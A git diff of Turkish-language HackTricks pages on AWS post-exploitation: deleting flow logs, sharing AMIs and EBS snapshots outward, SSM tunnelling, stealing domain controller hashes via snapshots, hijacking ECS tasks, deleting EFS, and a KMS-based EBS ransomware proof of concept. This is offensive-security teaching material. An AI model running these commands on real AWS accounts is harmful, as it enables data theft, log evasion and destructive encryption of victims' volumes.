aynalama **bir VPC içindeki EC2 örnekleri için gelen ve giden trafiği çoğaltır** ve bu işlemi örneklerin kendisine herhangi bir şey yüklemeye gerek kalmadan gerçekleştirir. Bu çoğaltılmış trafik genellikle analiz ve izleme için bir ağ saldırı tespit sistemi (IDS) gibi bir yere gönderilir.\ -Bir saldırgan bunu kötüye kullanarak tüm trafiği yakalayabilir ve hassas bilgilere ulaşabilir: +Bir saldırgan, bunu kullanarak tüm trafiği yakalayabilir ve hassas bilgilere ulaşabilir: Daha fazla bilgi için bu sayfayı kontrol edin: @@ -83,9 +83,9 @@ aws ec2 authorize-security-group-ingress --group-id --protocol tcp --por Bir EC2 örneği çalıştırmak ve bunu ECS örneklerini çalıştırmak için kaydetmek mümkündür ve ardından ECS örneklerinin verilerini çalmak mümkündür. -[**daha fazla bilgi için buraya bakın**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). +For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). -### VPC akış günlüklerini kaldırın +### Remove VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` @@ -95,7 +95,7 @@ Gerekli izinler: - `ssm:StartSession` -Komut yürütmenin yanı sıra, SSM, Güvenlik Grupları veya NACL'ler nedeniyle ağ erişimi olmayan EC2 örneklerinden geçiş yapmak için kötüye kullanılabilecek trafik tünellemesine izin verir. Bunun faydalı olduğu senaryolardan biri, bir [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) üzerinden özel bir EKS kümesine geçiş yapmaktır. +Komut yürütmenin yanı sıra, SSM, Security Groups veya NACL'ler nedeniyle ağ erişimi olmayan EC2 örneklerinden geçiş yapmak için kötüye kullanılabilecek trafik tünellemesine olanak tanır. Bunun faydalı olduğu senaryolardan biri, bir [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) üzerinden özel bir EKS kümesine geçiş yapmaktır. > Bir oturum başlatmak için SessionManagerPlugin'in yüklü olması gerekir: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html @@ -104,9 +104,9 @@ Komut yürütmenin yanı sıra, SSM, Güvenlik Grupları veya NACL'ler nedeniyle ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. [AWS EC2 ortamında SSRF'yi kötüye kullanma](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) scripti ile Bastion EC2 AWS geçici kimlik bilgilerini alın -4. Kimlik bilgilerini kendi makinenize `$HOME/.aws/credentials` dosyasına `[bastion-ec2]` profili olarak aktarın -5. Bastion EC2 olarak EKS'e giriş yapın: +3. Bastion EC2 AWS geçici kimlik bilgilerini [AWS EC2 ortamında SSRF'yi kötüye kullanma](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) scripti ile al +4. Kimlik bilgilerini kendi makinenize `$HOME/.aws/credentials` dosyasına `[bastion-ec2]` profili olarak aktar +5. Bastion EC2 olarak EKS'e giriş yap: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` @@ -119,9 +119,9 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo ```shell kubectl get pods --insecure-skip-tls-verify ``` -Not edin ki, SSL bağlantıları `--insecure-skip-tls-verify` bayrağını (veya K8s denetim araçlarındaki eşdeğerini) ayarlamazsanız başarısız olacaktır. Trafiğin güvenli AWS SSM tüneli üzerinden tünellendiğini göz önünde bulundurursak, MitM saldırılarından korunmuş olursunuz. +Not edin ki SSL bağlantıları, `--insecure-skip-tls-verify` bayrağını (veya K8s denetim araçlarındaki eşdeğerini) ayarlamazsanız başarısız olacaktır. Trafiğin güvenli AWS SSM tüneli üzerinden tünellendiğini göz önünde bulundurarak, herhangi bir MitM saldırısından güvendesiniz. -Son olarak, bu teknik özel EKS kümelerine saldırmak için spesifik değildir. Herhangi bir AWS hizmetine veya özel bir uygulamaya geçiş yapmak için rastgele alan adları ve portlar ayarlayabilirsiniz. +Son olarak, bu teknik özel EKS kümelerine saldırmak için spesifik değildir. Herhangi bir AWS hizmetine veya özel bir uygulamaya geçiş yapmak için keyfi alan adları ve portlar ayarlayabilirsiniz. ### AMI Paylaşımı ```bash @@ -129,7 +129,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{ ``` ### Kamuya açık ve özel AMI'lerde hassas bilgileri arama -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel, **kamuya açık veya özel Amazon Machine Images (AMIs) içinde hassas bilgileri aramak için tasarlanmış bir araçtır**. Hedef AMI'lerden örnekler başlatma, hacimlerini bağlama ve potansiyel sırlar veya hassas veriler için tarama işlemini otomatikleştirir. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel, **kamuya açık veya özel Amazon Machine Images (AMIs)** içinde hassas bilgileri aramak için tasarlanmış bir araçtır. Hedef AMI'lerden örnekler başlatma, hacimlerini bağlama ve potansiyel sırlar veya hassas veriler için tarama işlemini otomatikleştirir. ### EBS Anlık Görüntüsünü Paylaşma ```bash @@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer bir kanıt. KMS, çeşitli AWS hizmetlerini şifrelemek için ne kadar kolay kullanıldığı göz önüne alındığında, Ransomware Yönetim Servisi (RMS) olarak yeniden adlandırılmalıdır. +S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer bir kavramsal kanıt. KMS, çeşitli AWS hizmetlerini şifrelemek için ne kadar kolay kullanıldığı göz önüne alındığında, Ransomware Yönetim Servisi (RMS) olarak yeniden adlandırılmalıdır. -Öncelikle bir 'saldırgan' AWS hesabından, KMS'de bir müşteri yönetimli anahtar oluşturun. Bu örnek için, AWS'nin anahtar verilerini benim için yönetmesine izin vereceğiz, ancak gerçek bir senaryoda kötü niyetli bir aktör anahtar verilerini AWS'nin kontrolü dışında tutar. Anahtar politikasını, herhangi bir AWS hesabı Prensipinin anahtarı kullanmasına izin verecek şekilde değiştirin. Bu anahtar politikası için, hesabın adı 'AttackSim' ve tüm erişime izin veren politika kuralı 'Dış Şifreleme' olarak adlandırılmıştır. +Öncelikle bir 'saldırgan' AWS hesabından KMS'de bir müşteri yönetimli anahtar oluşturun. Bu örnek için, AWS'nin anahtar verilerini benim için yönetmesine izin vereceğiz, ancak gerçek bir senaryoda kötü niyetli bir aktör anahtar verilerini AWS'nin kontrolü dışında tutacaktır. Anahtar politikasını, herhangi bir AWS hesabı Prensipinin anahtarı kullanmasına izin verecek şekilde değiştirin. Bu anahtar politikası için, hesabın adı 'AttackSim' ve tüm erişime izin veren politika kuralı 'Dış Şifreleme' olarak adlandırılmıştır. ``` { "Version": "2012-10-17", @@ -231,7 +231,7 @@ S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer ] } ``` -Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmesi adına aşağıdakilerin etkinleştirilmesi gerekir: +Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmesi adına aşağıdakilerin etkinleştirilmesi gerekmektedir: - `kms:CreateGrant` - `kms:Decrypt` @@ -239,7 +239,7 @@ Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmes - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Artık kullanılacak kamuya açık bir anahtar ile. Şifrelenmemiş EBS hacimleri eklenmiş bazı EC2 örnekleri olan bir 'kurban' hesabı kullanabiliriz. Bu 'kurban' hesabın EBS hacimleri, şifreleme hedefimizdir; bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ihlal edildiği varsayımı altında gerçekleştirilmektedir. +Artık kullanılacak kamuya açık anahtar ile. Şifrelenmemiş EBS hacimleri ekli olan bazı EC2 örnekleri olan bir 'kurban' hesabı kullanabiliriz. Bu 'kurban' hesabının EBS hacimleri, şifreleme hedefimizdir; bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ihlal edildiği varsayımı altında gerçekleştirilmektedir. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) @@ -249,11 +249,11 @@ Bu, hesapta yalnızca şifrelenmiş EBS hacimlerinin kalmasıyla sonuçlanır. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Ayrıca, scriptin orijinal EBS hacimlerini ayırmak ve silmek için EC2 örneklerini durdurduğunu belirtmekte fayda var. Orijinal şifrelenmemiş hacimler artık yok. +Ayrıca, scriptin EC2 örneklerini durdurduğunu ve orijinal EBS hacimlerini ayırıp sildiğini belirtmekte fayda var. Orijinal şifrelenmemiş hacimler artık yok. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Sonraki adım, 'saldırgan' hesabındaki anahtar politikasına geri dönmek ve anahtar politikasından 'Dış Şifreleme' politika kuralını kaldırmaktır. +Sonraki adım, 'saldırgan' hesabındaki anahtar politikasına geri dönmek ve anahtar politikasından 'Dışarıda Şifreleme' politika kuralını kaldırmaktır. ```json { "Version": "2012-10-17", @@ -328,11 +328,11 @@ Biraz bekleyin, yeni ayarlanan anahtar politikasının yayılmasını bekleyin. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Ancak şifrelenmiş EBS hacmi ile EC2 örneğini gerçekten başlatmaya çalıştığınızda, sadece başarısız olacak ve 'beklemede' durumundan 'durdu' durumuna sonsuza dek geri dönecektir çünkü ekli EBS hacmi anahtar kullanılarak şifresi çözülemez, çünkü anahtar politikası artık buna izin vermiyor. +Ancak şifrelenmiş EBS hacmi ile EC2 örneğini gerçekten başlatmayı denediğinizde, sadece başarısız olacak ve 'pending' durumundan 'stopped' durumuna sonsuza kadar geri dönecektir çünkü ekli EBS hacmi anahtar kullanılarak şifresi çözülemez, çünkü anahtar politikası artık buna izin vermiyor. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Bu, kullanılan python betiğidir. 'Kurban' hesabı için AWS kimlik bilgilerini ve şifreleme için kullanılacak anahtarın kamuya açık bir AWS ARN değerini alır. Betik, hedeflenen AWS hesabındaki Tüm EC2 örneklerine bağlı Tüm mevcut EBS hacimlerinin şifrelenmiş kopyalarını oluşturacak, ardından her EC2 örneğini durduracak, orijinal EBS hacimlerini ayıracak, silecek ve nihayetinde süreçte kullanılan tüm anlık görüntüleri silecektir. Bu, yalnızca hedef 'kurban' hesabında şifrelenmiş EBS hacimleri bırakacaktır. BU BETİĞİ YALNIZCA BİR TEST ORTAMINDA KULLANIN, YIKICI VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarı ile bunları geri alabilir ve anlık görüntüler aracılığıyla orijinal durumlarına geri yükleyebilirsiniz, ancak bunun bir fidye yazılımı PoC'si olduğunu bilmenizi isterim. +Bu, kullanılan python betiğidir. 'Kurban' hesabı için AWS kimlik bilgilerini ve şifreleme için kullanılacak anahtarın kamuya açık AWS ARN değerini alır. Betik, hedeflenen AWS hesabındaki Tüm EC2 örneklerine ekli Tüm mevcut EBS hacimlerinin şifrelenmiş kopyalarını oluşturacak, ardından her EC2 örneğini durduracak, orijinal EBS hacimlerini ayıracak, silecek ve nihayetinde işlem sırasında kullanılan tüm anlık görüntüleri silecektir. Bu, yalnızca hedef 'kurban' hesabında şifrelenmiş EBS hacimleri bırakacaktır. BU BETİĞİ SADECE BİR TEST ORTAMINDA KULLANIN, YIKICI VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarı ile bunları geri alabilir ve anlık görüntüler aracılığıyla orijinal durumlarına geri yükleyebilirsiniz, ancak bunun bir fidye yazılımı PoC'si olduğunu bilmenizi isterim. ``` import boto3 import argparse diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index cc530a175..a53022c5a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -46,9 +46,9 @@ dsnap --region us-east-2 get snap-027da41be451109da # Delete the snapshot after downloading aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2 ``` -Daha fazla bilgi için bu tekniği [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) adresindeki orijinal araştırmaya bakın. +Bu teknik hakkında daha fazla bilgi için orijinal araştırmaya bakın [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) -Bunu Pacu ile [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) modülünü kullanarak yapabilirsiniz. +Bunu Pacu ile [ebs__download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) modülünü kullanarak yapabilirsiniz. ## AWS'de bir anlık görüntüyü kontrol etme ```bash @@ -56,16 +56,16 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps ``` **Kontrolünüz altındaki bir EC2 VM'ye bağlayın** (yedek kopyasıyla aynı bölgede olmalıdır): -Adım 1: EC2 –> Volumes bölümüne giderek tercih ettiğiniz boyut ve türde yeni bir hacim oluşturulmalıdır. +Adım 1: Tercih ettiğiniz boyut ve türde yeni bir hacim oluşturmak için EC2 –> Hacimler bölümüne gidin. Bu işlemi gerçekleştirebilmek için şu komutları izleyin: - EC2 örneğine eklemek için bir EBS hacmi oluşturun. - EBS hacminin ve örneğin aynı bölgede olduğundan emin olun. -Adım 2: Oluşturulan hacme sağ tıklayarak "attach volume" seçeneği seçilmelidir. +Adım 2: Oluşturulan hacme sağ tıklayarak "hacmi ekle" seçeneğini seçin. -Adım 3: Örnek metin kutusundan örnek seçilmelidir. +Adım 3: Örnek metin kutusundan örneği seçin. Bu işlemi gerçekleştirebilmek için aşağıdaki komutu kullanın: @@ -77,7 +77,7 @@ Adım 5: Hacmin herhangi bir verisi olup olmadığını kontrol etmek için `sud Yukarıdaki komutun çıktısı "/dev/xvdf: data" gösteriyorsa, hacim boştur. -Adım 6: Hacmi ext4 dosya sistemine formatlamak için `sudo mkfs -t ext4 /dev/xvdf` komutunu kullanın. Alternatif olarak, `sudo mkfs -t xfs /dev/xvdf` komutunu kullanarak xfs formatını da kullanabilirsiniz. Lütfen ya ext4 ya da xfs kullanmanız gerektiğini unutmayın. +Adım 6: Hacmi ext4 dosya sistemine formatlamak için `sudo mkfs -t ext4 /dev/xvdf` komutunu kullanın. Alternatif olarak, `sudo mkfs -t xfs /dev/xvdf` komutunu kullanarak xfs formatını da kullanabilirsiniz. Lütfen ext4 veya xfs'den birini kullanmanız gerektiğini unutmayın. Adım 7: Yeni ext4 hacmini bağlamak için istediğiniz bir dizin oluşturun. Örneğin, "newvolume" adını kullanabilirsiniz. @@ -89,7 +89,7 @@ Adım 9: "newvolume" dizinine geçin ve hacim bağlamasını doğrulamak için d Bu işlemi gerçekleştirebilmek için şu komutları kullanın: -- Dizin değiştirin `/newvolume`. +- `/newvolume` dizinine geçin. - Disk alanını kontrol etmek için `df -h .` komutunu kullanın. Bu komutun çıktısı "newvolume" dizinindeki boş alanı göstermelidir. Bunu Pacu ile `ebs__explore_snapshots` modülünü kullanarak yapabilirsiniz. @@ -122,7 +122,7 @@ ls /mnt ``` ## Shadow Copy -Herhangi bir AWS kullanıcısı **`EC2:CreateSnapshot`** iznine sahipse, **Domain Controller'ın bir anlık görüntüsünü** oluşturarak ve bunu kontrol ettikleri bir örneğe monte ederek tüm alan kullanıcılarının hash'lerini çalabilir ve **NTDS.dit ve SYSTEM** kayıt hives dosyasını Impacket'in secretsdump projesi için kullanmak üzere dışa aktarabilir. +Herhangi bir AWS kullanıcısı **`EC2:CreateSnapshot`** iznine sahip olduğunda, **Domain Controller'ın bir anlık görüntüsünü** oluşturarak ve bunu kontrol ettikleri bir örneğe monte ederek tüm alan kullanıcılarının hash'lerini çalabilir ve **NTDS.dit ve SYSTEM** kayıt hives dosyasını Impacket'in secretsdump projesi ile kullanmak üzere dışa aktarabilir. Bu aracı saldırıyı otomatikleştirmek için kullanabilirsiniz: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) veya bir anlık görüntü oluşturduktan sonra önceki tekniklerden birini kullanabilirsiniz. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index 0689a2d7e..e2e328527 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -2,14 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Saldırı hakkında daha fazla bilgi için** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **kontrol edin!** +**Daha fazla bilgi için** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **kontrol edin!** -Bulut ortamında pasif ağ denetimi **zorlayıcı** olmuştur ve ağ trafiğini izlemek için büyük yapılandırma değişiklikleri gerektirmektedir. Ancak, bu süreci basitleştirmek için AWS tarafından “**VPC Trafik Aynası**” adı verilen yeni bir özellik tanıtılmıştır. VPC Trafik Aynası ile, VPC'ler içindeki ağ trafiği, örneklere herhangi bir yazılım yüklemeden **kopyalanabilir**. Bu kopyalanan trafik, **analiz** için bir ağ saldırı tespit sistemi (IDS) gönderilebilir. +Bulut ortamında pasif ağ denetimi **zorlayıcı** olmuştur ve ağ trafiğini izlemek için büyük yapılandırma değişiklikleri gerektirmiştir. Ancak, bu süreci basitleştirmek için AWS tarafından “**VPC Trafik Aynası**” adlı yeni bir özellik tanıtılmıştır. VPC Trafik Aynası ile, VPC'ler içindeki ağ trafiği, örneklerin kendisine herhangi bir yazılım yüklemeden **kopyalanabilir**. Bu kopyalanan trafik, bir ağ saldırı tespit sistemi (IDS) için **analiz** amacıyla gönderilebilir. -VPC trafiğini aynalamak ve dışa aktarmak için gerekli altyapının **otomatik dağıtım** ihtiyacını karşılamak amacıyla “**malmirror**” adlı bir kanıt-of-kavram betiği geliştirdik. Bu betik, hedef bir VPC'deki tüm desteklenen EC2 örnekleri için aynalama kurmak üzere **ele geçirilmiş AWS kimlik bilgileri** ile kullanılabilir. VPC Trafik Aynası'nın yalnızca AWS Nitro sistemiyle desteklenen EC2 örnekleri tarafından desteklendiğini ve VPC aynası hedefinin, aynalanan ana bilgisayarlarla aynı VPC içinde olması gerektiğini belirtmek önemlidir. +VPC trafiğini ayna yapma ve dışa aktarma için gerekli altyapının **otomatik dağıtım** ihtiyacını karşılamak amacıyla, “**malmirror**” adlı bir kanıt-of-concept betiği geliştirdik. Bu betik, hedef bir VPC'deki tüm desteklenen EC2 örnekleri için ayna kurmak üzere **ele geçirilmiş AWS kimlik bilgileri** ile kullanılabilir. VPC Trafik Aynası'nın yalnızca AWS Nitro sistemi tarafından desteklenen EC2 örnekleriyle desteklendiğini ve VPC aynası hedefinin, aynalanan ana bilgisayarlarla aynı VPC içinde olması gerektiğini belirtmek önemlidir. -Kötü amaçlı VPC trafik aynalamanın **etkisi** önemli olabilir, çünkü bu, saldırganların VPC'ler içinde iletilen **hassas bilgilere** erişmesine olanak tanır. Böyle bir kötü amaçlı aynalamanın **olasılığı** yüksektir, çünkü VPC'ler üzerinden akan **düz metin trafiği** mevcuttur. Birçok şirket, geleneksel adam-arasında saldırıların mümkün olmadığını varsayarak, **performans nedenleri** için iç ağlarında düz metin protokolleri kullanmaktadır. +Kötü amaçlı VPC trafik aynalamasının **etkisi** önemli olabilir, çünkü bu, saldırganların VPC'ler içinde iletilen **hassas bilgilere** erişmesine olanak tanır. Böyle bir kötü amaçlı aynalama olasılığı, VPC'ler üzerinden akan **düz metin trafiği** göz önüne alındığında yüksektir. Birçok şirket, geleneksel adam-arasında saldırıların mümkün olmadığını varsayarak, iç ağlarında **performans nedenleri** için düz metin protokolleri kullanmaktadır. -Daha fazla bilgi ve [**malmirror betiğine**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) erişim için, **GitHub deposunda** bulunabilir. Betik, süreci otomatikleştirir ve basitleştirir, bu da onu saldırgan araştırma amaçları için **hızlı, basit ve tekrarlanabilir** hale getirir. +Daha fazla bilgi ve [**malmirror betiğine**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) erişim için, **GitHub deposunda** bulunabilir. Betik, süreci otomatikleştirir ve basitleştirir, böylece saldırgan araştırma amaçları için **hızlı, basit ve tekrarlanabilir** hale getirir. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index b7950a0e1..1185630ea 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -10,7 +10,7 @@ Daha fazla bilgi için kontrol edin: ../aws-services/aws-ecs-enum.md {{#endref}} -### Host IAM Rolleri +### Host IAM Roles ECS'de bir **IAM rolü, konteyner içinde çalışan göreve atanabilir.** **Eğer** görev bir **EC2** örneği içinde çalışıyorsa, **EC2 örneği** üzerinde **başka bir IAM** rolü olacaktır.\ Bu, bir ECS örneğini **ele geçirirseniz**, **ECR ve EC2 örneği ile ilişkili IAM rolünü elde etme** potansiyeline sahip olacağınız anlamına gelir. Bu kimlik bilgilerini nasıl alacağınız hakkında daha fazla bilgi için kontrol edin: @@ -22,13 +22,13 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou > [!CAUTION] > EC2 örneği IMDSv2'yi zorunlu kılıyorsa, [**belgelere göre**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT isteğinin yanıtı** **1'lik bir hop limiti** olacaktır, bu da EC2 örneği içindeki bir konteynerden EC2 meta verilerine erişimi imkansız hale getirir. -### Diğer konteynerlerin kimlik bilgilerini ve sırlarını çalmak için node'a yükselme +### Privesc to node to steal other containers creds & secrets -Ayrıca, EC2, EC'lerin görevlerini çalıştırmak için docker kullanır, bu nedenle node'a kaçabilirseniz veya **docker soketine erişebilirseniz**, hangi **diğer konteynerlerin** çalıştığını **kontrol edebilir** ve hatta **içlerine girebilir** ve **bağlı IAM rollerini çalabilirsiniz.** +Ayrıca, EC2, EC görevlerini çalıştırmak için docker kullanır, bu nedenle düğüme kaçabilirseniz veya **docker soketine erişebilirseniz**, hangi **diğer konteynerlerin** çalıştığını **kontrol edebilir** ve hatta **içlerine girebilir** ve **bağlı IAM rollerini çalabilirsiniz.** -#### Konteynerleri mevcut hostta çalıştırma +#### Making containers run in current host -Ayrıca, **EC2 örneği rolü** genellikle **kümeye** düğüm olarak kullanılan EC2 örneklerinin **konteyner örneği durumunu güncellemek için yeterli izinlere** sahip olacaktır. Bir saldırgan, bir örneğin durumunu **DRAINING** olarak değiştirebilir, ardından ECS **ondan tüm görevleri kaldırır** ve **REPLICA** olarak çalışanlar **farklı bir örnekte** çalıştırılacaktır, bu da potansiyel olarak **saldırganın örneği** içinde olabilir, böylece **IAM rollerini çalabilir** ve konteynerin içinden potansiyel hassas bilgileri elde edebilir. +Ayrıca, **EC2 örneği rolü** genellikle **kümeye** düğüm olarak kullanılan EC2 örneklerinin **konteyner örneği durumunu güncellemek için yeterli izinlere** sahip olacaktır. Bir saldırgan, bir örneğin durumunu **DRAINING** olarak değiştirebilir, ardından ECS **tüm görevleri ondan kaldırır** ve **REPLICA** olarak çalışanlar **farklı bir örnekte** çalıştırılır, bu da potansiyel olarak **saldırganın örneği** içinde olabilir, böylece **IAM rollerini çalabilir** ve konteynerin içinden potansiyel hassas bilgileri elde edebilir. ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances @@ -38,7 +38,7 @@ Aynı teknik **EC2 örneğini kümeden kaydını silerek** yapılabilir. Bu pota aws ecs deregister-container-instance \ --cluster --container-instance --force ``` -Son bir teknik, ECS'ye **görev veya konteynerin durdurulduğunu** belirtmektir. Bunu yapmak için 3 potansiyel API vardır: +Görevlerin yeniden yürütülmesini zorlamak için son bir teknik, ECS'ye **görev veya konteynerin durdurulduğunu** belirtmektir. Bunu yapmak için 3 potansiyel API vardır: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md index 6e5554ec8..6a7d56063 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md @@ -16,7 +16,7 @@ Bir saldırgan, bir montaj hedefini silebilir, bu da o montaj hedefine bağıml ```sql aws efs delete-mount-target --mount-target-id ``` -**Potansiyel Etki**: Dosya sistemi erişiminin kesintiye uğraması ve kullanıcılar veya uygulamalar için potansiyel veri kaybı. +**Olası Etki**: Dosya sistemi erişiminin kesilmesi ve kullanıcılar veya uygulamalar için potansiyel veri kaybı. ### `elasticfilesystem:DeleteFileSystem` @@ -24,7 +24,7 @@ Bir saldırgan, tüm EFS dosya sistemini silebilir, bu da veri kaybına yol aça ```perl aws efs delete-file-system --file-system-id ``` -**Potansiyel Etki**: Silinen dosya sistemini kullanan uygulamalar için veri kaybı ve hizmet kesintisi. +**Olası Etki**: Silinen dosya sistemini kullanan uygulamalar için veri kaybı ve hizmet kesintisi. ### `elasticfilesystem:UpdateFileSystem` @@ -32,11 +32,11 @@ Bir saldırgan, EFS dosya sistemi özelliklerini, örneğin, verimlilik modunu g ```sql aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps ``` -**Potansiyel Etki**: Dosya sistemi performansında düşüş veya kaynak tükenmesi. +**Olası Etki**: Dosya sistemi performansında düşüş veya kaynak tükenmesi. ### `elasticfilesystem:CreateAccessPoint` ve `elasticfilesystem:DeleteAccessPoint` -Bir saldırgan, erişim noktaları oluşturabilir veya silebilir, erişim kontrolünü değiştirebilir ve potansiyel olarak dosya sistemine yetkisiz erişim sağlayabilir. +Bir saldırgan erişim noktaları oluşturabilir veya silebilir, erişim kontrolünü değiştirebilir ve potansiyel olarak dosya sistemine yetkisiz erişim sağlayabilir. ```arduino aws efs create-access-point --file-system-id --posix-user --root-directory aws efs delete-access-point --access-point-id diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index 7d5143d82..9ce1551e8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin ### AWS Konsolundan küme listeleme -**`eks:AccessKubernetesApi`** iznine sahipseniz, AWS EKS konsolu aracılığıyla **Kubernetes nesnelerini görüntüleyebilirsiniz** ([Daha fazla bilgi edinin](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +Eğer **`eks:AccessKubernetesApi`** iznine sahipseniz, AWS EKS konsolu aracılığıyla **Kubernetes nesnelerini** görüntüleyebilirsiniz ([Daha fazla bilgi edinin](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). ### AWS Kubernetes Kümesine Bağlanma @@ -21,9 +21,9 @@ Daha fazla bilgi için kontrol edin # Generate kubeconfig aws eks update-kubeconfig --name aws-eks-dev ``` -- Kolay bir yol 